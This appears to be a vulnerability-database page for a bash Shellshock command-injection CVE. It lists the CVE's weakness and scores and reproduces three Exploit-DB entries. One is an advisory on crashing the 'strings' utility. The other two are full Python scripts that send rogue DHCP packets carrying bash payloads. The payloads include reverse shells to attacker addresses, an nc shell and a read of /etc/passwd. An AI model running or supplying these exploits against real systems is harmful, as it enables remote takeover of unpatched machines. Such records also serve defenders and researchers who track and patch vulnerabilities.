Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-78 |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 35081
Publication date : 2014-10-26 23h00 +00:00
Author : Michal Zalewski
EDB Verified : Yes
Many shell users, and certainly a lot of the people working in
computer forensics or other fields of information security, have a
habit of running /usr/bin/strings on binary files originating from the
Internet. Their understanding is that the tool simply scans the file
for runs of printable characters and dumps them to stdout - something
that is very unlikely to put you at any risk.
It is much less known that the Linux version of strings is an integral
part of GNU binutils, a suite of tools that specializes in the
manipulation of several dozen executable formats using a bundled
library called libbfd. Other well-known utilities in that suite
include objdump and readelf.
Perhaps simply by the virtue of being a part of that bundle, the
strings utility tries to leverage the common libbfd infrastructure to
detect supported executable formats and "optimize" the process by
extracting text only from specific sections of the file.
Unfortunately, the underlying library can be hardly described as safe:
a quick pass with afl [1] (and probably with any other competent
fuzzer) quickly reveals a range of troubling and likely exploitable
out-of-bounds crashes due to very limited range checking. In binutils
2.24, you can try:
$ wget http://lcamtuf.coredump.cx/strings-bfd-badptr2
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35081.bin
...
$ strings strings-bfd-badptr2
Segmentation fault
...
strings[24479]: segfault at 4141416d ip 0807a4e7 sp bf80ca60 error 4
in strings[8048000+9a000]
...
while (--n_elt != 0)
if ((++idx)->shdr->bfd_section)
elf_sec_group (idx->shdr->bfd_section) = shdr->bfd_section;
...
(gdb) p idx->shdr
$1 = (Elf_Internal_Shdr *) 0x41414141
In other words, this code appears to first read and then write to an
arbitrary pointer (0x41414141) taken from the input file. Many Linux
distributions ship strings without ASLR, making potential attacks
easier and more reliable - a situation reminiscent of one of
CVE-2014-6277 in bash [2].
Interestingly, the problems with the utility aren't exactly new; Tavis
spotted the first signs of trouble in other parts of libbfd some nine
years ago [3].
In any case: the bottom line is that if you are used to running
strings on random files, or depend on any libbfd-based tools for
forensic purposes, you should probably change your habits. For strings
specifically, invoking it with the -a parameter seems to inhibit the
use of libbfd. Distro vendors may want to consider making the -a mode
default, too.
[1] Obligatory plug: http://code.google.com/p/american-fuzzy-lop/
[2] http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html
[3] https://bugs.gentoo.org/show_bug.cgi?id=91398
Exploit Database EDB-ID : 36933
Publication date : 2014-09-28 22h00 +00:00
Author : fdiskyou
EDB Verified : Yes
#!/usr/bin/python
# Exploit Title: ShellShock dhclient Bash Environment Variable Command Injection PoC
# Date: 2014-09-29
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1
# Tested on: Debian, Ubuntu, Kali
# CVE: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187
from scapy.all import *
conf.checkIPaddr = False
fam,hw = get_if_raw_hwaddr(conf.iface)
victim_assign_ip = "10.0.1.100"
server_ip = "10.0.1.2"
gateway_ip = "10.0.1.2"
subnet_mask = "255.255.255.0"
dns_ip = "8.8.8.8"
spoofed_mac = "00:50:56:c0:00:01"
payload = "() { ignored;}; echo 'moo'"
payload_2 = "() { ignored;}; /bin/nc -e /bin/bash localhost 7777"
payload_3 = "() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4444 0>&1 &"
payload_4 = "() { ignored;}; /bin/cat /etc/passwd"
payload_5 = "() { ignored;}; /usr/bin/wget http://google.com"
rce = payload_5
def toMAC(strMac):
cmList = strMac.split(":")
hCMList = []
for iter1 in cmList:
hCMList.append(int(iter1, 16))
hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5])
return hMAC
def detect_dhcp(pkt):
# print 'Process ', ls(pkt)
if DHCP in pkt:
# if DHCP Discover then DHCP Offer
if pkt[DHCP].options[0][1]==1:
clientMAC = pkt[Ether].src
print "DHCP Discover packet detected from " + clientMAC
sendp(
Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff:ff")/
IP(src=server_ip,dst="255.255.255.255")/
UDP(sport=67,dport=68)/
BOOTP(
op=2,
yiaddr=victim_assign_ip,
siaddr=server_ip,
giaddr=gateway_ip,
chaddr=toMAC(clientMAC),
xid=pkt[BOOTP].xid,
sname=server_ip
)/
DHCP(options=[('message-type','offer')])/
DHCP(options=[('subnet_mask',subnet_mask)])/
DHCP(options=[('name_server',dns_ip)])/
DHCP(options=[('lease_time',43200)])/
DHCP(options=[('router',gateway_ip)])/
DHCP(options=[('dump_path',rce)])/
DHCP(options=[('server_id',server_ip),('end')]), iface="vmnet1"
)
print "DHCP Offer packet sent"
# if DHCP Request than DHCP ACK
if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
clientMAC = pkt[Ether].src
print "DHCP Request packet detected from " + clientMAC
sendp(
Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff:ff")/
IP(src=server_ip,dst="255.255.255.255")/
UDP(sport=67,dport=68)/
BOOTP(
op=2,
yiaddr=victim_assign_ip,
siaddr=server_ip,
giaddr=gateway_ip,
chaddr=toMAC(clientMAC),
xid=pkt[BOOTP].xid
)/
DHCP(options=[('message-type','ack')])/
DHCP(options=[('subnet_mask',subnet_mask)])/
DHCP(options=[('lease_time',43200)])/
DHCP(options=[('router',gateway_ip)])/
DHCP(options=[('name_server',dns_ip)])/
DHCP(options=[('dump_path',rce)])/
DHCP(options=[('server_id',server_ip),('end')]), iface="vmnet1"
)
print "DHCP Ack packet sent"
def main():
#sniff DHCP requests
sniff(filter="udp and (port 67 or 68)", prn=detect_dhcp, iface="vmnet1")
if __name__ == '__main__':
sys.exit(main())
Exploit Database EDB-ID : 34860
Publication date : 2014-10-01 22h00 +00:00
Author : @0x00string
EDB Verified : No
#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
# ______ ______ ______ _
# / __ | / __ |/ __ | _ (_)
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/
# (_____|
# _ _ _ _
# | | | | (_) _
# _ | | | _ ____| |_ ____ ____ | |_
# / || | || \ / ___) | |/ _ ) _ \| _)
#( (_| | | | ( (___| | ( (/ /| | | | |__
# \____|_| |_|\____)_|_|\____)_| |_|\___)
#
# _ _ _ _ _
# | | | | | | | | |
# ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____
# /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|
# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.
import socket, struct
def HexToByte( hexStr ):
b = []
h = ''.join( h.split(" ") )
for i in range(0, len(h), 2):
b.append( chr( int (h[i:i+2], 16 ) ) )
return ''.join( b )
rport = 68
lport = 67
bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bsock.bind(("<broadcast>", lport))
while True:
OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
URLLEN = chr(len(URL) / 2).encode("hex")
END = "03040a000001ff"
broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
hexip = broadcast_get[245:249]
rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
XID = broadcast_get[4:8].encode("hex")
chaddr = broadcast_get[29:34].encode("hex")
print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
OFFER_BYTES = HexToByte(OFFER)
ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
ACK_BYTES = HexToByte(ACK)
print "[+]\tsending evil offer\n"
sock.sendto(OFFER_BYTES, (rhost, rport))
broadcast_get2 = bsock.recvfrom(2048)
print "[+]\tassuming request was received, sending ACK\n"
sock.sendto(ACK_BYTES, (rhost, rport))
Products Mentioned
Configuraton 0
Gnu>>Bash >> Version 1.14.0
Gnu>>Bash >> Version 1.14.1
Gnu>>Bash >> Version 1.14.2
Gnu>>Bash >> Version 1.14.3
Gnu>>Bash >> Version 1.14.4
Gnu>>Bash >> Version 1.14.5
Gnu>>Bash >> Version 1.14.6
Gnu>>Bash >> Version 1.14.7
Gnu>>Bash >> Version 2.0
Gnu>>Bash >> Version 2.01
Gnu>>Bash >> Version 2.01.1
Gnu>>Bash >> Version 2.02
Gnu>>Bash >> Version 2.02.1
Gnu>>Bash >> Version 2.03
Gnu>>Bash >> Version 2.04
Gnu>>Bash >> Version 2.05
Gnu>>Bash >> Version 2.05
Gnu>>Bash >> Version 2.05
Gnu>>Bash >> Version 3.0
Gnu>>Bash >> Version 3.0.16
Gnu>>Bash >> Version 3.1
Gnu>>Bash >> Version 3.2
Gnu>>Bash >> Version 3.2.48
Gnu>>Bash >> Version 4.0
Gnu>>Bash >> Version 4.0
Gnu>>Bash >> Version 4.1
Gnu>>Bash >> Version 4.2
Gnu>>Bash >> Version 4.3
References